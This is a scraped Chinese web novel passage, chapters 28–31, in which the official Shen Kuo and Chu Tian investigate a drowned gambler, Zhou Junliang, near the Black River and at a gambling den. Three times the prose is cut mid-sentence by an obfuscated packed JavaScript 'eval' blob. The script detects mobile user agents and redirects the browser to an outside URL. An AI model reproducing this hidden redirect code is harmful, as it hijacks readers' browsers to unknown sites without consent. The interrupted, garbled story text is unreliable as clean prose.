沈阔深吸一口气，强忍下了将他一脚踢飞的冲动。 28. 京中再出命案 “孙士诚就是在推卸责任！” 一向彬彬有礼的楚恬直呼着孙士诚的名字，愤愤的为沈阔抱不平。 “为了朱桓的案子，我将太子殿下搬了出来，他可能觉得我在殿下面前告了他的状，故意整我呢！” 沈阔面上浮起一抹浅笑，他看着楚恬生气的模样，心里竟莫名地腾起一丝愉悦。 “可是大人明知他是有心报复，为何还要跳入这个陷阱？”楚恬不解。 沈阔叹了口气，“这事儿说来就话长了。” 楚恬调整好坐姿，竖起耳朵作倾听状。 沈阔解释道：“京城人多且杂，偶尔发生件命案也属正常，但如果接连死人的话，就必须要重视起来，尤其是阉党之乱后，殿下害怕苗三圃残党从中作梗，趁机搅扰民心。” “可孙士诚他都还没有对现场和尸体做过检验，更没有证据表明两起命案有关联，总不能因为他一句话便将两起毫不相干的案件并案调查吧？” “你说的这些我自然明白，殿下也未必不知。”说起这个，沈阔也有些无奈，“你不曾亲眼见过那场杀戮，便不知那天晚上尸身堆成了山，鲜血染红了太极殿的台阶，四周到处弥漫的恶心的腥味儿，那可怖的画面给我们留下了不可磨灭的阴影，至今仍是心有余悸，所以为了彻底掐灭叛贼卷土重来的机会，容不得我们有一丝懈怠。” 困于弄春楼的楚恬确实不知那场叛乱的具体情况，除非有人杀到了楼下，否则那条巷子始终是一片灯红酒绿，人们依旧沉陷于纸醉金迷当中。他之所以察觉到了异常，是他发现弄春楼的客人突然间变得少了，楼外的景象也是给人一种肃杀之感。 但也就两天不到，弄春楼里繁华如初，迎来送往间，他断断续续的从别人口中听到了一些发生于宫中的秘事，将所有消息串在一起后，他梳理出了大概的脉络。 阉党干政，霍乱朝堂，百姓被置于水深火热之中，义军揭竿而起，就在大庆江山即将毁于一旦之时，锦衣卫统领护太子杀出重围，将叛贼斩于马下，最终护住了摇摇欲坠的大庆朝。 最后皇帝让贤，太子理政，一切才慢慢回到了正轨。 “所以即便这两件案子并无关联，但若是孙士诚在太子殿下面前提上一嘴，殿下也会不假思索地交给大人去办，所以您才没有拒绝。”楚恬很快便洞察到了沈阔心中所想。 “真是只狡猾的老狐狸！” 楚恬就连骂人都这么可爱，沈阔被逗笑了，但他没有否认，只道：“身为人臣，当解君之所忧。” “物极必反，大人不觉得这样有些矫枉过正了吗？”楚恬忧虑道，“若两人之间有私怨并存心报复的话，只需一句‘与叛贼有勾结’便能将对方构陷入狱，若能证明无罪便罢了，若是不能，那岂不是会因一句‘莫须有’的话获罪？” “所以这便是殿下设立提刑司的初衷。”沈阔道，“凡是人必然会生有私心，也是因着这个顾虑，殿下才将提刑司交予了我。” 他不仅肩负着太子委以的使命，还挑着还人清白的重任。 此路上，任重道远，所以沈阔必须时刻保持清醒和公正，才能不负太子和天下黎民。 沈阔道，“提刑司虽独立于众衙司之外，也不管兵、钱、粮、吏等朝堂大事，看似无关紧要，实则握有生杀大权，必要时，钱和兵皆可任由提刑司差遣调用。” 听到这里，楚恬顿觉寒毛直竖，但他又暗自庆幸，“还好殿下将提刑司交给了大人......” 闻言，沈阔轻笑一声，道：“我也是人，你就这么信我不会以权徇私？” 楚恬反问沈阔：“那大人会吗？” 沈阔沉默了一瞬，神色凛然道：“不会。” 楚恬亦笃定道：“我相信大人。” 沈阔却笑了，“别对我抱有太大的幻想。” 楚恬又道：“人非圣贤，又怎会一点错都不犯？大人也无需给自己太大的压力，坚守正心即可。” “坚守正心......”沈阔喃喃念着。 短短四字，犹如千钧之重。 前路漫漫，沈阔自己都不知道能不能做到。 “到了，下车。”楚恬昏昏欲睡之时，马车停下了，沈阔掀开帘子看了眼外面，随即摇醒了楚恬。 楚恬打了个哈欠，跟着沈阔跳下了马车。 孙士诚的马车走在前面，看到沈阔后，他折返了回来，“沈大人，这边请。” 沈阔应了一声，跟着报案的男子朝着案发现场走去。 “今儿个一早，我家娘子去河边浣衣时，突然看到一个东西漂浮在河面上，起初还以为死的是头野猪便没有管，等近了一看，才发现穿有衣裳。” “这不完了嘛，都过去小半个时辰了，即便是个活人怕是都给淹死了。” 报案人正是当地村民黄大发和他媳妇儿，两人小跑在前面，前者边说边嗔道：“都怪这个眼瞎的败家娘们儿，人和猪都分不清！” 他媳妇儿银花噘着嘴辩解道：“当时天还不太亮，又隔着那么老远——”银花张开双手比划着，“而且那水哩，一上一下，一上一下的，俺哪能看清楚嘛。” 没等沈阔开口，黄大发又指着银花道：“你还一堆的歪理！要是大人查出他是淹死的，看你还犟不犟，拉命债了哟！” 银花也是被丈夫这话给吓到了，她抬起脚步跑得更快了，拉开一段距离后见大家没有跟上，于是她又停下脚步，转过身叉着腰大声喊道：“还磨蹭什么哩！” “这蠢婆娘！”黄大发讪笑地看了沈阔一眼，然后冲银花喊道，“现在你急个什么劲儿！人都死了！” 银花站在数丈之外，叽咕叽咕地不知在说着些什么。 “死者现在在哪儿？”沈阔终于插进了话。 黄大发道：“在草民家床上躺着嘞。当时也不知道他死没死，总不能让他在外面冻着嘛，便请我堂兄几个帮忙抬回去了，想着先找村里的郎中来瞧瞧，结果都我爹一摸脉，说他已经死了，没得救了。” “将我们给吓的啊，立马就跑来报官了。” 说话间，一行人已到了黄大发家里。 “大家都让让啊，京中的官爷来了！”黄大发边说边将赶来看热闹的邻里赶出了院子，只留下了里长常福一个外人。 “孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852985|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人！”常福认得孙士诚，他拄着拐走近拜道。 孙士诚背着手站在沈阔身后，闻声指了指沈阔，介绍道：“这位是提刑司的沈大人，此案由他来接手，你们有话都跟沈大人说，沈大人问话，尔等也都要全力配合，明白？” “是是是！”常福等人应道。 沈阔让人把守在门口，他则带着楚恬和仵作何萍进了屋。 “朱文聪？”沈阔一惊，虽然尸身被水浸泡过后出现了浮肿，但他的样貌特征仍然明显。 “不是朱文聪。”楚恬仔细甄别后对沈阔道，“他只是与朱文聪有八分相像而已。” 沈阔瞬间反应了过来，他看着楚恬，确认了一遍，“是那个人？” 楚恬点了点头。 两人同时皱紧了眉头，虽然依旧没有证据表明此人与朱桓命案有关，但如此奇怪的巧合又使得二人不得不将两起案子联系在一起。 “孙士诚那个乌鸦嘴，不会真让他给说着了吧。”沈阔道。 楚恬没有说话，他与沈阔走到了一边，将位置让给了何萍。 “没有外伤，七窍无出血迹象，无明显中毒症状，口、鼻、耳中皆有浮物沾染，胸腹部肿胀异常，应该是淹死的。”何萍初步检验后得出结论，“不过真正的死亡原因还需小人将尸身带回去，经进一步检验后才能确定。” “能推断出他的死亡时辰吗？”沈阔问。 何萍道：“这段时间的河水太凉，会延缓血障形成，但死者身上已然出现了血障，所以死亡时辰至少也有两个时辰了。” “好，我知道了。”沈阔道，“我让人先把尸体送回去，你抓紧时间检验，要是今天能出结果最好。” “是！”何萍应道。 “哦，对了。”沈阔想起件事，又叫住了他，“此案由本官侦办，所以尸身也应带去提刑司，包括朱桓的尸身，也要一同带过去。” 何萍却道：“沈大人，那朱桓的尸身已经检验完毕，原本今日等孙大人签了文书就要还给朱家的。” “本官知道，但还有些细节需要确认，所以朱桓的尸身暂时不还了。”沈阔道，“朱家那边已经知会过了，你只需按本官说的做便是。” “是。”何萍应声退下。 待沈阔和楚恬从屋中出来时，孙士诚已经走了。 常福道：“孙大人让小人转告上官，他还有别的事情要忙就先走了。” 正如楚恬所说，孙士诚真就是只狡猾的狐狸。 他来此一趟，算是尽了身为京兆尹的职责，又将棘手的命案丢给了沈阔，省了一桩大麻烦。 虽然落了个无能之名，但却得了清闲，身处高位又不用办事，何乐不为？ 此时的孙士诚真是无比后悔，当时沈阔跟他掰扯朱桓之死的时候，他就该放手的，免却了太子的责备不说，还能做个顺水推舟的人情。 而且以他的资历和背景，做个四品的官儿已是到头了，现在的他又不图升官发财的，稳稳当当地熬到致仕，才是人生幸事啊！ 他也不是个一心为民的好官儿，真不知在犟个什么劲儿啊！孙士诚懊悔地捶着手心。 29. 笨楚恬窘态百出 “你们认识这人吗？”沈阔问在场众人。 所有人都摇着头，表示从未见过。 沈阔留了几名差役对围观百姓例行问话，又带了几人准备随黄大发去往发现尸体的河边。 将出门时，楚恬瞧见银花抻着头眼巴巴地看着沈阔欲言又止。 沈阔正与别人说着话，并未注意到这方的动静，于是楚恬便走上前对她道：“那人在被你们救起之前就已经死了。” “真的吗？”银花松了口气，许是觉得自己的反应对死者不敬，她又拙笨地解释道，“俺可不是在高兴，俺就是，就是觉得他要真是因为救迟了死淹死的话，那俺这辈子良心都会不安的。” “我知道。” 楚恬轻柔的语调给了银花一丝安慰，她紧紧绞在一起的手指慢慢松开，叹了口气，“这人看着也就二十出头的模样，咋个就死了哩，哎，造孽啊！” 银花说着说着便打起了冷颤，她试图用摩擦胳膊的方式让自己暖和起来。 屋子里，差役正将死者往担架上搬，许是泡过水的缘故，尸身格外的重，那两人齐起喊了声，“一、二、三，起！”然后使出全部力气才将尸身抬起来。 银花不敢再看，她双手合十地走开了，嘴里还模糊不清地念着“阿弥陀佛”等话。 “楚恬，走了！”沈阔喊了他一声。 楚恬回过神后小跑着出了门，沈阔则侧身站在门口等着他靠近，“跟她说清楚了？” 楚恬微怔了一瞬，随即点头答道：“嗯。要是不说的话，我担心她会自责一辈子。” 沈阔点头认可了楚恬的行为，接着两人便跟着黄大发朝着河岸方向行去。 他走了几步，却发现楚恬总是落在后面，起初他还以为是自己走得太快了，可当他等着楚恬与他并肩而行后，两人之间又慢慢地隔出了三步的距离，沈阔这才反应过来是楚恬刻意为之。 这样的情况已经发生过多次，尤以外人在场时，楚恬避嫌得格外明显。 “你——”虽然心中已猜到了原因，但沈阔还是想确认清楚，只是他刚一开口，便被黄大发打断了思绪。 “大人，就在这儿！” 沈阔只得暂时将自己的疑问搁置一旁，他与楚恬疾步走过去，看见了河岸边还摆放着银花没有洗完的衣物。 “他就是从那儿漂过来的。”黄大发伸手指向河面。 几人随着黄大发手指的方向望去，接着又开始打量起周围的环境。 四周群山环绕，时值秋末，依山生长的松柏依旧青葱，只有远山上于夹缝中长出来的枫树和杨树在经历冷霜的侵袭后，开始朝着红、黄之色渐变，林中偶尔也会传来几声呦呦鹿鸣，山野间群鸟结伴起飞，而后缓缓落于枝头。 整个河面足有二十丈之宽，深度更是无法用肉眼估测。河面倒也平静，只有枯叶和飞虫掉进去时溅出来的圈圈涟漪，但也因着两岸绿荫投下了深绿色的倒影，加上密云的映衬，使得河水颜色看起来有些发黑。 黄大发介绍，此条河流乃上游几座山的山涧水汇聚而成，原本湍急的水势经渭西县缓冲后，才有了这般死寂的水面。又因河水终年呈此黑墨之色，故而得名“黑河”。 说完，他还贴心地提醒大家：“这两天开始打霜了，各位官爷千万要小心脚下，别滑倒了。” 话音还未完全落定，只顾着观察周遭情况的楚恬一时不察，差点儿踩空，好在沈阔眼疾手快地拉了他一把。 “小心！”沈阔倏地变了脸色，他紧紧抓着楚恬的手腕将他往身后带，直到楚恬站稳后才放开手。 楚恬自己也被吓了一跳，心在胸腔里一直扑通扑通地跳个不停，更要命的是，沈阔的手劲太大了些，几乎快把他的手腕给折断了。 他刚要呼痛，却被沈阔的眼神给骇到了，于是只得生生将已经涌到喉咙口的呼痛声给咽了回去，还得硬着头皮承受着别人略带笑意的目光。 虽然他们并无恶意，但楚恬仍觉羞耻，毕竟他已不是三两岁的小孩子了。 “那人该不会便是这样跌进水里淹死的吧？”说话之人名唤陆方杰，是沈阔手底下一名主管文书和卷宗的九品检校。 他这一开口，正好缓解了楚恬的尴尬，众人也重新将思绪放在了案子上。 “得去河对岸看看才行。”沈阔转头问黄大发，“这附近可有渡河的桥或者船只？” 黄大发道：“有有有。就前面不远，有我们打鱼的船。” 于是沈阔带了楚恬和陆方杰跟着黄大发乘船沿死者漂浮的路径寻去，其余人则从上游的桥上绕过去，顺便沿途寻找线索。 为图快，黄大发选了条小船，堪堪只能坐下四人。 上船后，黄大发自告奋勇坐上了船头掌楫，楚恬原本想坐船尾帮着划船的，却被陆方杰先一步抢过了船桨，他只得与沈阔并排坐于中间的横凳上。 船身本就有些窄，且楚恬在船开始划动后，他才发现自己竟有晕船之症，波光粼粼的水面晃得他一阵晕眩，他惊觉快掉下水时，下意识地往里面挪动，却不小心撞上了沈阔的侧臀。 沈阔回头看他，两人的视线就这样猝不及防地撞到了一起。他们肩挨着肩，下巴与下巴之间只有半尺多的距离，近到能看清对方脸上的毫毛，亦能感觉到彼此的呼吸在缠绕。 楚恬的脸慢慢红到了耳根，他怔了一瞬后，急着想要躲开，可他忘了还在船上，于是噌地一下站了起来。与此同时，船只开始变得倾斜，他又赶紧坐了回去。 “胡闹什么！”沈阔声线虽严厉，却并无嗔怪之意。 他又将右手从后面绕过去按住了楚恬的左手肘，禁止他再随意乱动。 楚恬感觉到沈阔掌心的热意慢慢渗进他的皮肤，更觉难为情了。 也是从这一刻开始，他便如坐针扎。 前方的黄大发是背对着两人划船的，发觉船身晃了一下后，他只回头提醒了两人一句“坐稳了”，便没再说什么了，但身后的陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852986|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方杰却完全可以将二人的一举一动尽收眼底。 为了避免给沈阔带来无尽的诽谤，楚恬一心想要与沈阔拉开些距离，但沈阔却丝毫不给他机会。 沈阔加重手上力度的同时，突然开口对楚恬道：“你这么紧张做什么，我还能吃了你不成？——我刚才就想问你，为何每当人多的时候你就恨不得对我避而远之？” 楚恬惊得瞪大了眼睛，他结巴地回着，“没，我没有......”然后疯狂的给沈阔使眼色。 也不知沈阔是真没看明白，还是装的，反正他又一脸纯真且无辜地问楚恬：“怎么，眼睛又不舒服了？” 楚恬气馁的垂下头，用另一只自由的手揉了揉眼睛，含糊回道：“嗯，刚有蚊虫飞进去了。” 沈阔善解人意地询问：“需要给你吹一吹吗？” “不，不用了。”楚恬果断拒绝，“已经揉出来了。”说着，楚恬还侧过脸将那只被自己揉得通红的眼睛展示给沈阔看。 沈阔被他愚蠢的行为给气笑了，他无奈地叹了口气，接着伸出拇指替楚恬擦去了眼角的黑色尘埃。 楚恬再一次惊得呆住了。为了掩饰心底的窘迫，他开始东张西望地转移着注意力，却在回头时又不小心对上了陆方杰的视线。 在视线交汇的一刹那，双方皆有半许愣怔，虽然陆方杰很快就状似不着痕迹地挪开了视线，但更让楚恬在意的是他嘴角那抹若有若无的浅笑。 不是嘲讽，也非蔑笑，就是纯粹地觉得好笑和愉悦。 楚恬来不及细究，他听到黄大发在给沈阔指死者最初漂浮的地方。 黑河看着像是死潭，但毕竟是活水，这里已然没有任何的线索存留。 于是黄大发又划着船将他们带到了对岸。 黄大发寻了处平缓的石滩将船停靠下来，他先跳下船将缆绳绑在突起的石头上，正准备去接沈阔时，却见对方已经大步且稳当地跨下了船。 下船后的沈阔并未离开，而是转身朝楚恬递出了手掌。 楚恬原本还想逞强自行下船，可他刚把脚跨出去的时候，身后的陆方杰动了，然后重心不稳的他便开始晃动起来，直朝着前方栽去。 不出意外的，还是沈阔出手捞了他一把。 接着他便听到黄大发发出了惊雷般的笑声，虽然笑声很快就戛然而止，但楚恬仍觉得有些无地自容。 下了船的楚恬还没完全结束晕眩状态，他双腿发软，脚步虚浮，跌跌绊绊地走在石滩上，为免他摔个狗吃屎，沈阔一直扶着他直到平路上。 楚恬心中无比自责，他明明是帮倒忙来了。 好在沈阔并未表现出不悦和不耐烦，在询问了楚恬身体状况后，便立马投入了线索查找当中。 楚恬甩了甩脑袋，摒掉那些消沉的想法后，也立马了跟了上去。 只是沿岸足有数十里之远，且灌丛绵延环绕，仅凭他们几人想从此间找到有关死者落水的线索，实与大海捞针无甚区别。 30. 迷赌博神童变无赖 “你再仔细看看，当真不认得他？” 沈阔差人将彩衣巷口黄记糕点铺的伙计带到了提刑司辨认死者身份，可是那伙计一直畏缩不前，隔着丈远的距离匆匆瞥了一眼，便直接摇头否认。 “小人真的不认识。”伙计微躬着身子，双手搭在腹前，任由差役如何将他往前推，他的双腿却如焊在了地上般一动不动。 “是吗？”沈阔似笑非笑，“可是有人亲眼看见你二人交谈甚欢，李小明，欺骗官府可是重罪，本官劝你还是想清楚了再回答。” 李小明深埋着头，不停地抠着手指。 “李小明！”沈阔突然大喊了一声。 “小人在！”李小明被吓得一激灵。 沈阔没再说话，他只是用凌厉的目光盯着对方，且面上的神情也逐渐变得不耐和凝重。 李小明害怕得不敢再看沈阔的脸色，他紧张地咽着口水，最终还是下定决心慢慢地朝前挪动着脚步。 “快盖上，快盖上！”他只看了一眼便别开了头，挥舞着手让衙役赶紧将白布拉上去。 沈阔怀疑他根本就没有认真看，但李小明却十分笃定的回道：“他没少在我们铺子上蹭吃蹭喝，像他这么厚脸皮的人也是少见，小人是绝不会认错的。” 据李小明所说，死者姓周名俊良，光州人，家境贫寒，但因其幼时聪慧，三岁识字，五岁精读四书五经，后被当地富绅看中接入家中教导。不过他并未潜心向学，而是贪享富贵生活，终日与富家子弟混迹街头，富绅三令五申，仍未能劝其上进，最终又把他送了回去。 回村后的周俊良自诩高人一等，看不起生养他的父母，且他早已过惯了富贵日子，完全忍受不了家里吃糠咽菜的苦日子，于是“迷途知返”的他跑去求富绅再给他一次机会，但富绅也不是傻子，当着众人面给他提了一个要求。 想回去，可以，除非他考取功名衣锦还乡。 富绅的要求并不苛刻，没有要他一定要高中状元或是进士及第，只需在殿试中考中前三甲即可。 周俊良信誓旦旦，当即便立下了军令状，若未高中，绝不还乡。 入京后的周俊良也是下了狠心，不问世事潜心读书，但不到一个月，他便没扛住同窗的软磨硬泡，抱着不会沉迷进去的侥幸心理进了赌坊寻乐，自此便荒废了学业。 会试放榜后，他连贡士都未考中，消息传回光州后，富绅一怒之下断了给他的资助。 但周俊良不仅没有醒悟，反而彻底沦陷了进去，没日没夜地泡在赌坊里，妄想把折进去的钱财捞回来。 “那他现住何处，可有密友来往？”沈阔问李小明。 李小明道：“他的钱早就输光了，还欠了一屁股的债，全身上下唯一值钱的就是富绅送他的一方砚台，都让他给抵了，最后连赁金都交不上，被客栈连人带行囊一起扔到了大街上，之后便没了固定的居所，困了就躺桥洞挤破庙，饿了就到各家商铺里抓一个馍顺一把肉，这样的无赖，大家躲都躲不及，谁还敢跟他有密切来往啊。” “赌博真是害人不浅啊！”陆方杰听后感慨道，“竟然将一个神童荼毒成了这副模样！” “他会落得这般境遇其实早有端倪的。”楚恬怅然道，“其父母乃大字不识几个的普通农户，学识短浅，教养不来这个聪慧的儿子，于是在富绅施以援手时，他们便放手不管了。” “许是周俊良自以为攀上高枝便可衣食无忧了，于是便怠于读书，幼时的聪慧或是天赋异禀，但若不加以巩固，最终也会消磨殆尽，神童也就变成了普通人。可他没有意识到，富绅之所以看中他，是因为他自身的价值，而当他的价值得不到利用的时候，自然就会被人抛弃了。” “这么说，得怪那个富绅？”陆方杰愤愤道，“要是他不从中插一脚，周俊良即便受不到良好的教导，无法考取功名，他也能在老家种地为生，下官瞧他相貌还算俊朗，娶妻生子也不是难事，日子虽是平凡了些，但也不至于送命。” “这也不能完全怪那个富绅。”楚恬又道，“他也是出于一片好心，周俊良入京后，他不也一直在资助他吗？只不过毕竟不是自己的亲儿子，当他觉得周俊良彻底没救了的时候，他弃得也很是干脆。” “那这得怪谁？”陆方杰问，“只能怪他自己咯？要是他自己心性坚韧，不为外物所惑的话，也就不会沦落到于此了。” “或许都有错，或许又都没错。”楚恬说了句令陆方杰摸不着头脑的话。 陆方杰欲追问时，忽被沈阔截断了话，“现在讨论这些已然没有意义，周俊良也活不过来了，我们的当务之急是查出他究竟是自杀还是他杀。” 楚恬点头应下，这时，陆方杰却突然又感慨了一句，“你说他临死之时有没有后悔啊？” 楚恬摇了摇头，“我不知道他是怎么想的，但换作是我的话，一定会非常后悔。” 陆方杰赞同地点了点点。 “我以为你是那种选定了路便不会后悔之人。”楚恬的回复让沈阔觉得惊奇，他微转过身目不转睛地看着楚恬，“那你说说，你是后悔跟着富绅走，还是后悔入了歧途？” 楚恬轻笑一声摇了摇头，“都不是。” “哦？”沈阔陡然来了兴趣。 “我在踏进富绅家里的那一刻开始，便要会学会讨好主子，赢得主子欢心。考不上功名不打紧，只要不被人挑错就行。”楚恬语气平静地说道，“像富绅那种人，应是很重视家族名声的，只要我不犯错，他就寻不着理由将我赶出门，那样的话，就能光明正大地赖在他家里，即使不能飞黄腾达，但好歹这辈子也是吃穿不愁了。” 沈阔听完这话，脸色倏地就沉了下来，他紧抿着唇，目光如炬。 原来这就是楚恬内心真实的想法，他只是想寻个庇身之所而已，对方可以是他，也可以是任何人。 沈阔知道这对于想活命的楚恬来说无可厚非，但他心里就是堵得慌。要是当初救楚恬的人不是自己...... 沈阔连想都不愿想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852987|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚恬本来不想说的，可沈阔问了，他又不想有所欺瞒。他以为沈阔不会在意这些，毕竟于沈阔来说，他只是个无足轻重的人。救他，与抬脚避开一只逃命的蚂蚁无异。 “大人生来便是锦衣玉食，没吃过贫穷的苦，亦想象不出一群人缩在一起互相给予温暖熬过一个又一个寒冬腊月的场景。”楚恬接着说道，“说我无赖也好，苟且也罢，都无所谓，总比挨饿受冻好。” “怪我生得好了？”沈阔冷哼一声。 “我不是这意思......”楚恬弱弱解释。 沈阔不想听，只道：“你想锦衣玉食，那跟我却是跟错人了。若只是想吃饱穿暖，又无所谓苟且偷生的话，那你当初何不依了尤二娘？反正都是讨人欢喜。” “大人，你——”楚恬愣住了。 “我怎么？”沈阔别开脸不去看他那副楚楚可怜的模样。 楚恬默不作声地垂下了头。 沈阔用眼角余光扫了楚恬一眼，心中郁结之气更浓了。 刚才的话他确实不该说的，他明知道楚恬最在意这个，可他还不管不顾地说了出来。 哎...... 楚恬闷闷不乐，沈阔更是心有怨气。 而旁观一切的陆方杰更是大气都不敢出，生怕两人的火蔓延到自己身上，他缕了下两人争执的源头，发现竟是因为那个愚蠢的问题而起。 陆方杰一边后悔，一边悄悄地朝门口挪去。 “去哪儿？”沈阔突然叫住了他，冷声质问道。 “下官去找仵作问问情况。”陆方杰心虚地回道。 “把他叫进来。”沈阔吩咐。 “是。”陆方杰话音还未完全落下，便已没了影儿。 殓房内，只剩下了楚恬和沈阔。两人都不知该说些什么方能打破这令人尴尬的气氛。 于是，一个人开始东张西望，另一个人则一会儿看看周俊良的尸身，一会又翻翻从他身上脱下来的衣物。 忽然，楚恬发觉了一丝奇怪之处，他赶紧回头唤了一声，“大人！” 站在原地的沈阔依旧僵着张黑脸，等了半晌后才冷冷应了一声，“嗯。” “大人你快过来看看！” 楚恬朝沈阔招了招手，他这才不情不愿地走了过去。 沈阔也不说话，就背着手站在楚恬旁边，直到楚恬将周俊良的衣裳拿起来给他看，他摸了面料后也突然意识到了不对劲。 “这布料摸起来像是云锦。”沈阔疑惑道，“可他怎么买得起这么贵的衣裳？” 楚恬清楚记得周俊良撞到他的那天就穿的是这件衣裳。 他和沈阔仔细检查了遍衣裳，发现衣裳上的磨损都集中在胸口和右袖口上，结合周俊良赌钱玩骰子的情况，可以确定这些磨损是他自己弄的，除此之外衣裳上面没有其它破损之处，想来也不是被人丢弃的。 “这么贵的面料，即便旧了，也能拆了用在它处，断没有直接丢了道理。”楚恬道，“会不会是有人送给他的？” 31. 沈阔赌坊查线索 “周俊良啊，那小子没救了。”赌坊掌柜是个五大三粗的彪悍中年男人，他不知来人正是大名鼎鼎的提刑官沈阔，此时的他高坐在八仙桌上，脚踩长凳，一边擦着手中的骰子一边不耐烦地瞟了沈阔一眼，“没钱还好赌，赶都赶不出去。” 当沈阔问及周俊良和谁走得最近或是有无异常时，对方更是没好气地回道：“我哪儿知道啊，我又不是他爹！你找他干嘛，他也欠你钱了？” 他甚至还反过来要求沈阔，“哎你们要是见着他了，替我转告他一声，赶紧还钱，否则老子一刀宰了他！”说着，他一掌拍在桌面上，手中的骰子碎成了两瓣。 沈阔无视他的威胁，悠悠道：“钱，他恐怕是还不了了。” 男人当即瞪大了双眼，恶狠狠地问道：“怎么，想耍赖不成？”他眉头一皱，顿觉来者不善，“你们是一伙的吧？怎么，想砸我场子？” 话音未落，便有几个手执木棍的打手围了上来。 “既然你们认识，那就把他所欠的钱还了再走——” 沈阔眉头都没皱一下，他不屑地扫了男人一眼，轻描淡写地说道：“周俊良死了。” “死，死了？”男人惊了，同时他也反应过来沈阔应是官府中人，“敢问官爷是——” “提刑司，沈阔。” 虽未见过其人，但名号却是知晓的，男人登时便从桌子上滑了下来，拱手道：“小人有眼不识泰山，不知是沈大人大驾光临，若有得罪之处，还望大人恕罪！” 沈阔负手而立，气势上便压了对方一头，他的目光淡淡扫过身旁的打手，还未开口，男人便连踢带踹地驱赶起来，“谁，谁让你们出来的，赶紧滚回去！” 面面相觑的打手们这才悻悻地退了下去，男人转头用袖子擦了擦另一条长凳，谄媚地对沈阔道：“大人请坐！” 沈阔也没跟他客气，接过男人递来的茶后，他淡声开口：“你这赌坊——” “大人放心，小人是正经生意人，绝不行强迫之事。”见沈阔面上似笑非笑，他继续厚着脸皮解释道，“来这儿寻乐的也不是啥好鸟，小人若不找几个人镇场子，怕是早就被他们给吃干抹净了。” 沈阔不予置否，他警告了男人几句后又将话题转回了周俊良头上，“你刚才说周俊良欠了你不少的钱，你一直都想宰了他——” “大人，这话可不兴乱说的啊。”男从赶紧打断了沈阔的话，嘿嘿笑着解释，“小人就是耍耍嘴皮子而已，天子脚下，小人怎敢乱来啊！” 沈阔哼了一声，又问起周俊良的近况来。 除了沈阔已经掌握的情况以外，男人倒还真提供了一个重要线索。 “那周姓的小子最近也不知在哪里发了财，穿得人模狗样了不说，出手竟也阔绰了许多，前两日又来小人这儿大赌了一回。不过他这人实是霉得很，几十两银子一会儿就输了个精光。”男人的感叹由衷而发，看样子真像是在为周俊良的倒霉惋惜。 “银子输光以后他还想赌，但他已经赊了很多的账了，小人不想再借给他，别的人客人更不想跟这么个穷光蛋赌，这一来二去，他就在小人店中闹了起来——” “所以，你就派人杀了他？”沈阔冷声质问道。 “没，真没有！”男人有些急了，“小人只是让人将他给丢了出去，所有人都看见了，都可以为小人作证。” “你将人丢出去之后呢？”沈阔漫不经心地睨了对方一眼，“即便做了些什么，也无人会知道。” “小人......这......”男人语塞，自知无法证明清白的他缓缓跪在沈阔脚下，委屈地喊道，“大人明鉴，小人冤枉啊！小人开店只为挣钱糊口，断不会做杀人性命的勾当，况且人活着小人还有机会拿回借给他的钱，人死了就啥也没有了，这得不偿失的事情......小人根本没必要做啊。” 男人脸上的惊恐和慌张不像是装出来的，沈阔便也勉强信了他的话，“起来说话。” 接着，沈阔又问他：“周俊良是从什么时候突然变得有钱的？” 男人掰着手指头算了算，“大概，也就三四天前的样子。” 沈阔点了点头，又见男人凑近后神秘兮兮地说道：“那天小人将周俊良丢出去以后，他很是不服气，还反过来将小人给骂了一通，说小人狗眼看人低，不知道他已经发达了之类的话。” “当时吧，小人只当他是为了留下来赌钱而编造的谎话，不曾想，昨日早些时候，他还真带了二十两银子回来，虽然很快又输完了，但他却一点儿也不慌，还得意洋洋地跟我们吹嘘说只要他想，就有花不完的钱，还让小人将局给他留着，他马上回去取钱。” “之后呢？”沈阔问。 “之后，他便没消息了。”男人道，“小人猜他放了大话后又没弄到钱，没脸回来。像他这种人，小人见得多了，满嘴谎言没一句可信的，小人便也没有放在心上。” 得到这个线索后，沈阔马不停蹄地赶回了提刑司，现在他还需要一个周俊良死因的确切回复。 “周俊良腹中存有大量积水，且肺和胃里呛进去了许多泥沙和浮萍，确为溺亡不假。”何萍禀道。 但沈阔想听的不仅仅是这个，好在何萍没有让他失望。 因着死者被寒水浸泡过，其身上的尸斑并不明显，何萍将其带回提刑司后，先以解剖验证了其死因，之后又以白梅饼验尸法将死者身上除尸斑以外的淤痕呈现了出来。 何萍指着死者左臂和后脖颈上的紫黑色淤斑对沈阔解释道：“大人，这两处的淤痕看似与尸斑无异，实则是于死者生前留下来的。” 沈阔看着何萍示意他继续说下去。 